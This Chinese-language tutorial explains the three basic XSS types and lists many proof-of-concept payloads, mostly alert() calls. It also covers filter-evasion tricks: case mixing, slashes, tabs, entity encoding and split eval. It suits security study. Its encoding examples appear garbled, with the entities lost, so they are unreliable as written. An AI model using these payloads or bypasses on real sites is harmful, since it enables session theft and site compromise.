XSS -- 三種基本漏洞 (淺談)
一、 XSS 漏洞的驗證 我們可以用一段簡單的程式碼,驗證和檢測漏洞的存在,這樣的程式碼叫做PoC(Proof of Concept)。驗證XSS 漏洞存在的PoC 如下: (1)<script>alert(/xss/)</script> (2)<script>confirm('xss')</script> (3)<script>prompt('xss')</script>
二、XSS分類
1. 反射型XSS 反射型XSS 是非永續性、引數型的跨站指令碼。反射型XSS 的JS 程式碼在Web 應用的引數(變數)中,如搜尋框的反射型XSS。在搜尋框中,提交PoC[<script>alert(/xss/)</script>],點選搜尋,即可觸發反射型XSS。 注意到,我們提交的poc 會出現在search.php 頁面的keywords 引數中。
2.儲存型XSS 儲存型XSS 是永續性跨站指令碼。永續性體現在XSS 程式碼不是在某個引數(變數)中,而是寫進資料庫或檔案等可以永久儲存資料的介質中。儲存型XSS 通常發生在留言板等地方。我們在留言板位置留言,將惡意程式碼寫進資料庫中。此時,我們只完成了第一步,將惡意程式碼寫入資料庫。因為XSS 使用的JS 程式碼,JS 程式碼的執行環境是瀏覽器,所以需要瀏覽器從伺服器載入惡意的XSS 程式碼,才能真正觸發XSS。此時,需要我們模擬網站後臺管理員的身份,檢視留言。
3.基於DOM的 XSS DOM XSS 比較特殊。owasp 關於DOM 型號XSS 的定義是基於DOM 的XSS 是一種XSS 攻擊,其中攻擊的payload由於修改受害者瀏覽器頁面的DOM 樹而執行的。其特殊的地方就是payload 在瀏覽器本地修改DOM 樹而執行, 並不會傳到伺服器上,這也就使得DOM XSS 比較難以檢測。
三、 XSS的構造
1. 利用 [<>] 構造HTML/JS 在測試頁面 提交[<script>alert(/xss/)</script>] 2. 偽協議 ---- 可以使用javascript: 偽協議的方式構造XSS (1)提交引數[<a href="javascript:alert(/xss/)">touch me!</a>],然後點選超連結,即可觸發XSS。
(2)也可以使用img 標籤的偽協議,但是這種方法在IE6 下測試成功。[<img src="javascript:alert('xss')">]。
3. 產生事件 (1) “事件驅動”是一種比較經典的程式設計思想。在網頁中會發生很多事件(比如滑鼠移動,鍵盤輸入等),JS 可以對這些事件進行響應。所以我們可以通過事件觸發JS 函式,觸發XSS。 (2)事件種類 windows 事件 對windows 物件觸發的事件 Form 事件 HTML 表單內的動作觸發事件 Keyboard 事件 鍵盤按鍵 Mouse 事件 由滑鼠或類似使用者動作觸發的事件 Media 事件 由多媒體觸發的事件
例如, [<img src='./smile.jpg' onmouseover='alert(/xss/)'>]這個標籤會引入一個圖片,然後滑鼠懸停在圖片上的時候,會觸發XSS 程式碼。 單行文字框的鍵盤點選事件,[<input type="text" onkeydown="alert(/xss/)">],當點選鍵盤任意一個按鍵的時候出發。
4. 利用CSS 跨站 我們也可以利用CSS(層疊樣式指令碼)觸發XSS。但是這種方法比較古老,基本上不適合現在主流的瀏覽器,但是從學習的角度,我們需要了解這種型別的XSS。一下程式碼均在IE6 下測試。 (1)行內樣式 [<div style="background-image:url(javascript:alert(/xss/))">] (2) 頁內樣式
[
<style>
div{
background-image:url(javascript:alert(/xss/))
}
</style>
<div>lalalla</div>
]
(3) 外部樣式 [ <link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css"> <div>hello<div> ]
(4) expression [<div style="width:expression(alert(/xss/))">] (5) import [ <style>@import 'javascript:alert("xss")';</style> ]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>] 5. 其他標籤以及手法 我們也可以用其他標籤觸發XSS。 <svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>
四、XSS變形
我們可以構造的XSS 程式碼進行各種變形,以繞過XSS 過濾器的檢測。變形方式主要有以下幾種 1.大小寫轉換 可以將payload 進行大小寫轉化。如下面兩個例子。 <Img sRc='#' Onerror="alert(/xss/)" /> <a hREf="javaScript:alert(/xss/)">click me</a>
2. 引號的使用 HTML 語言中對引號的使用不敏感,但是某些過濾函式是“錙銖必較”。 (1)<img src="#" onerror="alert(/xss/)"/> (2)<img src='#' onerror='alert(/xss/)'/> (3)<img src=# onerror=alert(/xss/) />
3. [/]代替空格 可以利用左斜線代替空格 <Img/sRc='#'/Onerror='alert(/xss/)' />
4. tab 與回車 我們可以在一些位置新增Tab(水平製表符)和回車符,來繞過關鍵字檢測。 (1)<Img/sRc='#'/Onerror ='alert(/xss/)' /> (2)<A hREf="j avascript:alert(/xss/)">click me!</a> <A hREf="j avascript:alert(/xss/)">click me!</a>
5. 對標籤屬性值進行轉碼 ----- 可以對標籤屬性值進行轉碼,用來繞過過濾。 例
(1)對應編碼如下: 字母 ASCII 碼 十進位制編碼 十六進位制編碼 a 97 a a e 101 e e
經過簡單編碼之後的樣子。 <A hREf="j avascript:alert(/xss/)">click me!</a>
(2) 我們可以將以下字元插入到任意位置 Tab 	 換行 
 回車 
可以將以下字元插入到頭部位置 SOH  STX  經過編碼後的樣子。 <A hREf="javas	c r ipt:alert(/xss/)"> click me! </a>
6. 拆分跨站 <script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script>
<script>alert(/xss/)</script>